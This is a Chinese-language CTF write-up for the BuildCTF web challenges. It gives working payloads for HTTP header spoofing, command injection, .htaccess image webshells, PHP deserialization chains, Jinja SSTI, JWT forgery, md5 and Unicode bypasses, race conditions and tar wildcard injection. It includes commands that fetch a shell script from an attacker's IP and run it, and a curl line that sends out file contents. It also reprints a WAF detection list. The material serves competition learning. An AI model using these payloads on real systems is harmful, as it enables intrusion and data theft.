buildCTF web wp
# ez!http
- 只有root用户才能访问后台 你是root嘛?
打开hackbar,可以看到服务器设置了默认的post数据
- 只有从blog.buildctf.vip来的用户才可以访问
http报文字段Referer
可以伪造来源
Referer: http://blog.buildctf.vip
- 需要使用buildctf专用浏览器
http报文字段User-Agent
记录用户浏览器
User-Agent: buildctf
- 只有来自内网的用户才能访问
http报文字段X-Forwarded-For
记录用户ip
X-Forwarded-For: 127.0.0.1
- 只接受2042.99.99这一天发送的请求
http报文字段Date
记录请求时间
Date: 2042.99.99
- 只有发起请求的邮箱为root@buildctf.vip才能访问后台
http报文字段From
记录请求邮箱
From: root@buildctf.vip
- 只接受代理为buildctf.via的请求
http报文字段Via
记录代理
Via: buildctf.via
- 浏览器只接受名为buildctf的语言
http报文字段Accept-Language
记录语言
Accept-Language: buildctf
最后点击获取flag,会返回到最初的地方,查看源码
点击这个按钮实际是发起了post请求,提交这个getFlag=This_is_flag
的参数
# find-the-id
bp直接爆破,id=207
# 我写的网站被rce了?
漏洞点在日志查看
起初以为是文件包含题目,测试发现过滤了.
,重定向>
,空格和数字
把访问日志access
改成其他时,发现是直接拼接进去的
尝试能否使用%00
截断时,直接报错,提示这里使用的system
函数
这里的$_GET[a]
原样拼接进去了,但是也查出了日志内容,所以说,没有接收到$_GET[a]
,但是$_GET[a]
确实是执行了,一条空的结果,所以他还是可以查询到日志内容
我可以合理的推断这里代码是下面这样的,并且会先判断拼接的文件是否存在,即使不存在,也会执行一下看看能否拿到日志,所以说,只要拼接合理的命令,就能执行
system("cat /var/log/nginx/$_GET[log_type].log");
过滤了重定向符>
之后,不能直接把执行结果写入文件了,通过谷歌了解到,还可以通过管道符
和tee
命令写文件
可以先用tee命令把ls等执行的结果写到当前目录(网站根目录)
后来才想起来,原来有简单的cp
,mv
等命令也可以实现命令结果写文件
# babyupload
尝试发现过滤了php
的各种格式,以及函数的括号()
,还会检测图片的文件头,服务器是apache
类型,可以利用.htaccess
文件和图片马来rce
.htaccess
文件
AddType application/x-httpd-php .png
图片马需要一些绕过,使用反引号直接执行命令,避免使用函数。如果一定要使用函数,include
,require
也可以尝试一下,这两个函数可以作为语言结构直接用,例如include"1.png";
图片马1.png
,把结果写到1.txt
<?=`env > 1.txt`?>
发现这样还会检测,猜测是否是过滤了命令env
,尝试使用en''v
绕过,发现可以的
# LovePopChain
挺简单的,好像没有什么特别的,GET参数No_Need.For.Love
,在php8以下属于非法变量名,会接收不到,需要把第一个下划线使用[
来代替绕过
点击查看
<?php
class MyObject{
public $NoLove="Do_You_Want_Fl4g?";
public $Forgzy;
public function __wakeup()
{
if($this->NoLove == "Do_You_Want_Fl4g?"){
echo 'Love but not getting it!!';
}
}
public function __invoke()
{
$this->Forgzy = clone new GaoZhouYue();
}
}
class GaoZhouYue{
public $Yuer;
public $LastOne;
public function __clone()
{
echo '最后一次了, 爱而不得, 未必就是遗憾~~';
eval($_POST['y3y4']);
}
}
class hybcx{
public $JiuYue;
public $Si;
public function __call($fun1,$arg){
$this->Si->JiuYue=$arg[0];
}
public function __toString(){
$ai = $this->Si;
echo 'I W1ll remember you';
return $ai();
}
}
if(isset($_GET['No_Need.For.Love'])){
@unserialize($_GET['No_Need.For.Love']);
}else{
highlight_file(__FILE__);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
在hybcx
类中的tostring方法里,存在一个可能的非预期,这里有一个动态函数调用,如果$ai='phpinfo'
,那么就会成功调用phpinfo()
,在phpinfo的回显中,可能会有flag,不过这里尝试没有发现非预期
public function __toString(){
$ai = $this->Si;
echo 'I W1ll remember you';
return $ai();
}
2
3
4
5
exp
点击查看
<?php
class MyObject{
public $NoLove="Do_You_Want_Fl4g?";
public $Forgzy;
public function __wakeup()
{
if($this->NoLove == "Do_You_Want_Fl4g?"){
echo 'Love but not getting it!!';
}
}
public function __invoke()
{
$this->Forgzy = clone new GaoZhouYue();
}
}
class GaoZhouYue{
public $Yuer;
public $LastOne;
public function __clone()
{
echo '最后一次了, 爱而不得, 未必就是遗憾~~';
eval($_POST['y3y4']);
}
}
class hybcx{
public $JiuYue;
public $Si;
public function __call($fun1,$arg){
$this->Si->JiuYue=$arg[0];
}
public function __toString(){
$ai = $this->Si;
echo 'I W1ll remember you';
return $ai();
}
}
$payload = new MyObject();
$payload -> NoLove = new hybcx();
$payload -> NoLove -> Si = new MyObject();
// $payload -> NoLove -> Si -> JiuYue = '';
echo serialize($payload);
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# RedFlag
格式化源码,分析
import os
import flask
app = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/redflag/')
def redflag(redflag):
def safe_jinja(payload):
payload = payload.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + payload
return flask.render_template_string(safe_jinja(redflag))
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
第一眼读源码,发现过滤函数的使用,不能用函数了,什么都做不了
往上看可以发现重点
app.config['FLAG'] = os.getenv('FLAG')
python从环境变量里读取了flag
,添加到了flask的配置变量里,读取flask变量
url/redflag/{{url_for.__globals__['current_app'].config['FLAG']}}
# Why_so_serials?
反序列化过程使用字符替换,导致字符串逃逸,可以让我们构造的字符串变成真正的反序列化的一部分,达到篡改变量值的效果
一个joker
替换为batman
时,变量Wayne的长度会增加1,但是Wayne的值是固定的,所以最终Wayne的长度会溢出n个joker的长度,那么就可以把原有的字符串扔掉,把我们给的作为反序列化的一部分,达到逃逸的效果
$payload = new Gotham('1','1');
echo serialize($payload);
# 正常:O:6:"Gotham":3:{s:5:"Bruce";s:1:"1";s:5:"Wayne";s:1:'1'";s:5:"crime";b:1;}
# 后面原有的";s:5:"crime";b:1;}部分需要扔掉,总共19个字符,所以构造19个joker,再添加上我们需要的crime的值
# O:6:"Gotham":3:{s:5:"Bruce";s:1:"1";s:5:"Wayne";s:1:"jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}
$Bruce = '1';
$Wayne = 'jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}';
2
3
4
5
6
7
8
payload:url?Bruce=1&Wayne=jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}
# ez_md5
$sql = "SELECT flag FROM flags WHERE password = '".md5($password,true)."'";
,这里直接使用ffifdyop
来绕过,MD5('ffifdyop',true)的值是'or'6É]é!r,ùíb
,,绕过了sql
第二关,请求里不能有字母,也包括cookie
请求,cookie里有字母,所以需要先清楚cookie
第一次md5判断$Build != $CTF && md5($Build) == md5($CTF)
,使用数组绕过?a[]=1&b[]=2
,绕过了第一关
接着需要使用一个md5值为3e41f780146b6c246cd49dd296a3da28
的字符串,尝试用fastcool
生成,发现里面有字母,绕不过去,再看题目的提示robots
,到robots.txt
里看,给了爆破掩码level2 md5(114514xxxxxxx)
使用php爆破拿到这个数字1145146803531
<?php
error_reporting(0);
///robots
highlight_file(__FILE__);
include("flag.php");
$Build=$_GET['a'];
$CTF=$_GET['b'];
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('不可以哦!');
}
}
if($Build != $CTF && md5($Build) == md5($CTF))
{
if(md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28")
{
echo $flag;
}else die("再想想");
}else die("不是吧这么简单的md5都过不去?");
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# sub
我个人python web了解并不多,可能有解读错的地方。
阅读源码,发现有几处敏感路由,如login
,page
路由,在源码里给了密钥,在login里给了jwt的加密方式,尝试伪造jwt的admin身份
import jwt
import datetime
# 密钥
secret_key = 'BuildCTF'
payload = {
'sub': 'admin',
'role': 'admin',
'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
}
access_token = jwt.encode(payload, secret_key, algorithm='HS256')
print(f'伪造的 JWT: {access_token}')
2
3
4
5
6
7
8
9
10
11
12
13
14
替换为生成的token访问/page
路由时,返回了403 Forbidden
,说明jwt解析了,翻看源码,当前role
已经是admin
了,但是解析失败了。大胆猜测一下,题目环境没有注册默认的admin用户,那么我尝试注册一下
if role != 'admin' or current_user not in users:
return abort(403, 'Access denied')
2
在注册界面注册admin
用户,在拿着用户名密码访问/page
路由,竟然真成功进去了....有点不太正常
尝试目录穿越读取根目录时,会返回400 badrequest
,源码里禁止了目录穿越,继续往下读,有惊喜。
在这里的源码中content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
,这一句给了shell,我们的参数会当作命令解析,使用有空格的命令时发现无法执行,可以直接env
拿flag
file = request.args.get('file', '')
file_path = os.path.join(DOCUMENT_DIR, file)
file_path = os.path.normpath(file_path)
if not file_path.startswith(DOCUMENT_DIR):
return abort(400, 'Invalid file name')
try:
content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
except subprocess.CalledProcessError as e:
content = str(e)
except Exception as e:
content = str(e)
return render_template('page.html', content=content)
else:
return abort(403, 'Access denied')
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 刮刮乐
这道题目没有回显,但是如果使用写文件的操作,可以发现,确实执行了命令,但是内容没了
想起ctfshow
平台的一道题目,把内容扔进垃圾桶了,所有不会有内容回显和输出
eval("$_GET[c] >/dev/null 2>&1");
这题我使用了%00截断,通过报错,发现使用的是system
函数RCE
对于>/duv/null 2>&1
,可以通过管道符来绕过,题目过滤了分号,不然就可以一次多执行几个命令了
# eazyl0gin
下载附件,审计源码。需要小写后不等于buildctf
,大写后不等于等于BUILDCTF
,而且仅存在buildctf
一个用户。这里涉及一个nodejs漏洞,在处理特殊字符时会出错
例如
'ı'.toUpperCase()='I'
'ſ'.toUpperCase()='S'
'K'.toLowerCase()='k'
2
3
可以用一个ı
替换build里的i,从而绕过检测
密码可以在在线网站查出012346
不过有点奇怪,没看懂为什么不管是buıldctf
还是BUıLDCTF
都可以登录成功
# Cookie_Factory
很少接触到nodejs
题目,涨知识了,出题组太厉害了。
扔给ai审计发现源码重要部分在这里
socket.on('click', (msg) => {
let json = JSON.parse(msg)
// 当前分数大于 1e20 返回flag
if (sessions[socket.id] > 1e20) {
socket.emit('recievedScore', JSON.stringify({"value":"FLAG"}));
return;
}
// 判断用户分数和存储的实际分数
if (json.value != sessions[socket.id]) {
socket.emit("error", "previous value does not match")
}
// 计算新的分数
let oldValue = sessions[socket.id]
// 未验证power是否合法
let newValue = Math.floor(Math.random() * json.power) + 1 + oldValue
sessions[socket.id] = newValue
socket.emit('recievedScore', JSON.stringify({"value":newValue}));
if (json.power > 10) {
socket.emit('error', JSON.stringify({"value":oldValue}));
}
errors[socket.id] = oldValue;
});
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
主要漏洞点分析:
在这里,递增的分数power
没有经过验证,先进行了分数的增加,增加完才回来对power
的审查,即使是审查,也只是弹出一条错误提示,再把之前的正确分数赋值给errors
,没有纠正sessions[socket.id]
的值
// 计算新的分数
let oldValue = sessions[socket.id]
// 未验证power是否合法
let newValue = Math.floor(Math.random() * json.power) + 1 + oldValue
sessions[socket.id] = newValue
socket.emit('recievedScore', JSON.stringify({"value":newValue}));
if (json.power > 10) {
socket.emit('error', JSON.stringify({"value":oldValue}));
}
errors[socket.id] = oldValue;
2
3
4
5
6
7
8
9
10
11
12
尝试控制power
的值,赋值一个非常非常大的值,一次实现分数大于1e20
,从而获取flag
socket.emit('click', JSON.stringify({"value": 1 , "power": 1e40}));
发送的一瞬间,分数改变了,但是又迅速变成了error
的分数,也就是上一次的正确分数1
写个函数捕获返回内容
socket.on('recievedScore', (data) => {
console.log("Received Score:", data);
});
2
3
捕获内容后,她确实出现了,写个函数竞争一下
const intervalId = setInterval(() => {
socket.emit('click', JSON.stringify({"value": 9, "power": 1e40}));
}, 100);
2
3
抓到你啦
# 打包给你
审计源码,在下载路由下os.system
存在漏洞
通过谷歌搜索可以了解到tar命令通配符
漏洞,tar命令在解析通配符*
时,看到有参数则将执行
@app.route('/api/download', methods=['GET'])
def download():
@after_this_request
def remove_file(response):
os.system(f"rm -rf uploads/{g.uuid}/out.tar")
return response
# make a tar of all files
os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")
# send tar to user
return send_file(f"uploads/{g.uuid}/out.tar", as_attachment=True, download_name='download.tar', mimetype='application/octet-stream')
2
3
4
5
6
7
8
9
10
11
12
可以通过"--checkpoint-action=exec=sh shell.sh"
,"--checkpoint=1"
参数来执行命令
在本地调试过程中发现下面几个现象:
- 上传的文件内容都是空的
- 文件名中不能含有斜杆及反引号,否则上传失败
- 发包过程中无需使用
${IFS}
绕过sh shell.sh
的空格 - tar cf out.tar *的操作时,除了上面需要的两个参数外,必须存在一个其他文件,否则无法执行命令
这是测试过程中,存在2.txt
时才执行touch 1.txt
的命令
在以上条件下,最终我选择在远程服务器通过flask提供一个sh文件的下载,通过wget下载到靶机,通过修改服务器的sh文件内容实现执行不同命令
通过bp发送下面的文件名的文件
- 2.txt
- --checkpoint-action=exec=wget -O shell.sh ip:5000;sh shell.sh
- --checkpoint=1
在远程服务器上创建app.py
,shell.sh
文件
from flask import Flask, send_file, abort
app = Flask(__name__)
@app.route('/')
def download_file():
file_path = './shell.sh'
try:
return send_file(file_path, as_attachment=True, download_name='script.sh', mimetype='application/x-sh')
except FileNotFoundError:
abort(404)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
curl ip:5000?id=`cat /*`
wget指定下载后的文件名
点击下载,就会发起请求,下载sh文件,执行里面的内容
# 快来破解漂亮国蓝宫的WAF吧!
这里讲起来比较轻松,不过做每道题的时候都能琢磨很长时间...有点累。
测试过程的发现
- 选择文件的框弹出两次,以为是多文件上传,并不是
- 普通的图片也会触发waf,猜测,会审计文件内容里的字符
- 不限制文件类型,如php、.user.ini、.htaccess等文件都可以上传
- 字符
<
、=
、?
,等都被ban了,这样php无法解析,.user.ini也不能出现=
经过漫长测试,实在找不到这么新的waf,什么waf可以绕过php开头的<
尖括号呢?
一筹莫展,后来一篇文章给了我新的方向
猜测出题人也不希望她的服务器因为waf检测性能被用户榨干吧?那么他应该仅对文件内容进行了部分审计!!!(我怎么想不到呢?)
使用python打印10w个a填充垃圾数据,在末尾添加php代码
你过关!!
换post🐎,偷师下源码
通过审计源码,确实只审计了前5000个字符$file_content = file_get_contents($file_path, false, null, 0, 5000);
<?php
// 检查是否有文件上传
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {
$file = $_FILES['upload_file'];
// 检查文件是否成功上传
if ($file['error'] === UPLOAD_ERR_OK) {
$file_path = $file['tmp_name'];
$file_size = $file['size'];
$file_name = basename($file['name']);
// 删除文件扩展名检查
// 检查文件大小(例如限制为 2MB)
if ($file_size > 2 * 1024 * 1024) { // 2MB
die("文件大小超过限制!");
}
// 读取前5000个字符
$file_content = file_get_contents($file_path, false, null, 0, 5000);
// 模拟 WAF 检查规则
$dangerous_patterns = [
// PHP 标签检测
'/<\?php/i', // PHP 开始标签
'/<\?=/', // 短标签
'/<\?xml/', // XML 标签
'/\b(eval|base64_decode|exec|shell_exec|system|passthru|proc_open|popen)\b/i', // 恶意函数
// SQL 注入相关
'/\b(select|insert|update|delete|drop|union|from|where|having|like|into|table|set|values)\b/i',
'/--\s/', // SQL 注释
'/\/\*\s.*\*\//', // 多行 SQL 注释
'/#/', // 单行 SQL 注释
// XSS 攻击相关
'/<script\b.*?>.*?<\/script>/is', // <script> 标签及内容
'/javascript:/i', // javascript URI
'/on\w+\s*=\s*["\'].*["\']/i', // 事件处理程序
// 特殊字符
'/[\<\>\'\"\\\`\;\=]/', // < > ' " ` ; =
'/%[0-9a-fA-F]{2}/', // URL 编码
'/&#[0-9]{1,5};/', // HTML 实体编码
'/&#x[0-9a-fA-F]+;/', // 十六进制 HTML 实体编码
// 常用的系统命令和函数
'/system\(/i', // PHP system() 函数
'/exec\(/i', // PHP exec() 函数
'/passthru\(/i', // PHP passthru() 函数
'/shell_exec\(/i', // PHP shell_exec() 函数
'/file_get_contents\(/i', // 文件读取操作
'/fopen\(/i', // 打开文件操作
'/file_put_contents\(/i', // 文件写入操作
// Unicode 和 UTF-7 绕过
'/%u[0-9A-F]{4}/i', // Unicode 编码
'/[^\x00-\x7F]/', // 非 ASCII 字符
// 检测路径穿越
'/\.\.\//', // 路径穿越
];
// 遍历所有规则,检查是否匹配
foreach ($dangerous_patterns as $pattern) {
if (preg_match($pattern, $file_content)) {
die("文件内容包含危险字符或代码,上传被拦截!");
}
}
// 如果文件通过了WAF检查,保存文件
$upload_dir = 'uploads/';
// 检查目录是否存在,如果不存在,则创建它
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true); // 创建目录并设置权限
}
// 处理文件名,避免特殊字符
$new_file_name = $upload_dir . basename(preg_replace('/[^a-zA-Z0-9._-]/', '_', $file_name));
if (move_uploaded_file($file_path, $new_file_name)) {
echo "文件上传成功!";
} else {
echo "文件保存失败!";
}
} else {
echo "文件上传失败,错误代码:" . $file['error'];
}
} else {
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
# tflock 【复现】
在robots里找到密码本爆破admin用户密码,爆不出来可以尝试重开容器再爆破
登录admin后给了一个奇怪的字符串,搜索了一下,以为是要烤java,没找到相关解法
原来这是一个隐藏款flag....有点奇怪了
直接提交这个串就是flag
# fake_signin 【复现】
这里给了密钥,最初以为是要伪造session的补签次数,后面才知道原来users是全局变量,硬编码写死的
漏洞点在补签路由,没有设计并发的情况
并发类处理漏洞
@app.route('/supplement_signin', methods=['GET', 'POST'])
def supplement_signin():
if 'user' not in session:
return redirect(url_for('login'))
user = users[session['user']]
supplement_message = ""
if request.method == 'POST':
supplement_date = request.form.get('supplement_date')
if supplement_date:
if user['supplement_count'] < 1:
user['signins'][supplement_date] = True
user['supplement_count'] += 1
else:
supplement_message = "本月补签次数已用完。"
else:
supplement_message = "请选择补签日期。"
return redirect(url_for('view_signin'))
supplement_dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d")) for i in range(1, 31)]
return render_template('supplement_signin.html', supplement_dates=supplement_dates, message=supplement_message)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
补签页面抓包,bp设置爆破点,日期类型
并发30次,如果有漏签的,只能重开一个容器
当时想到并发这种情况了,为什么没有去just do it
呢(真心换绝情.jpg)
参考、致谢: